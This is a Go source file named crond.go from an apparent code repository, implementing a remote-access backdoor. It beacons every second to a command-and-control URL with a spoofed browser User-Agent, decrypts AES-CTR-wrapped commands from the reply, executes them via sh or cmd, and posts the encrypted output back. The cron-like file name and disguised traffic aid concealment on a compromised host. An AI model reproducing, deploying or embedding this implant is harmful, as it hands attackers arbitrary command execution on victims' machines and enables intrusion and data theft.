-
Notifications
You must be signed in to change notification settings - Fork 5
/
crond.go
135 lines (121 loc) · 3.2 KB
/
crond.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
package main
import (
"bufio"
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"io"
"io/ioutil"
"math/big"
"net/http"
"os/exec"
"runtime"
"strconv"
"time"
)
const URL = "http://127.0.0.1:8082"
var isDone = make(chan int)
func RunCMD(cmd string) string{
cmd0 := exec.Command("sh", "-c", cmd)
if runtime.GOOS == "windows" {
cmd0 = exec.Command("cmd", "/c", cmd)
}
stdout0 , _ := cmd0.StdoutPipe()
cmd0.Start()
useBufferIO := false
if !useBufferIO {
var outputBuf0 bytes.Buffer
for {
tempoutput := make([]byte, 256)
n, err := stdout0.Read(tempoutput)
if err != nil {
if err == io.EOF {
break
}
}
if n > 0 {
outputBuf0.Write(tempoutput[:n])
}
}
return outputBuf0.String()
} else {
outputbuf0 := bufio.NewReader(stdout0)
touput0 , _ , _ := outputbuf0.ReadLine()
return string(touput0)
}
}
func AesCtrEncrypt(plainText, key []byte) string {
block, _:= aes.NewCipher(key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(plainText))
stream.XORKeyStream(dst, plainText)
return base64.URLEncoding.EncodeToString(dst)
}
func AesCtrDecrypt(encryptData, key []byte) string {
block, _:= aes.NewCipher(key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(encryptData))
stream.XORKeyStream(dst, encryptData)
return string(dst)
}
func CreateRandomString(len int) string {
var container string
var str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
b := bytes.NewBufferString(str)
length := b.Len()
bigInt := big.NewInt(int64(length))
for i := 0;i < len ;i++ {
randomInt,_ := rand.Int(rand.Reader,bigInt)
container += string(str[randomInt.Int64()])
}
return container
}
func Post(url string, data interface{},action string, crj string) string {
client := &http.Client{Timeout: 5 * time.Second}
jsonStr, _ := json.Marshal(data)
reqest, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonStr))
cra := CreateRandomString(16)
reqest.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) " +
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36")
reqest.Header.Add("X-Requested-With", crj)
reqest.Header.Add("Authorization",cra)
reqest.Header.Add("WWW",AesCtrEncrypt([]byte(action),[]byte(cra)))
if err != nil {
panic(err)
}
response, _ := client.Do(reqest)
defer response.Body.Close()
result, _ := ioutil.ReadAll(response.Body)
return string(result)
}
func main() {
go func() {
defer func() {
if err := recover(); err != nil {
isDone <- 1
}
}()
var r= make(map[string]string)
for {
crj := CreateRandomString(16)
var tempMap map[string]string
r["data"] = strconv.FormatInt(time.Now().Unix(), 10)
time.Sleep(1 * time.Second)
resp := Post(URL, r, "ping", crj)
_ = json.Unmarshal([]byte(resp), &tempMap)
action_, _ := base64.URLEncoding.DecodeString(tempMap["info"])
action := AesCtrDecrypt([]byte(action_), []byte(tempMap["username"]))
if action != "pong" {
res := RunCMD(action)
r["data"] = AesCtrEncrypt([]byte(res), []byte(crj))
Post(URL, r, "resp", crj)
}
}
}()
<-isDone
}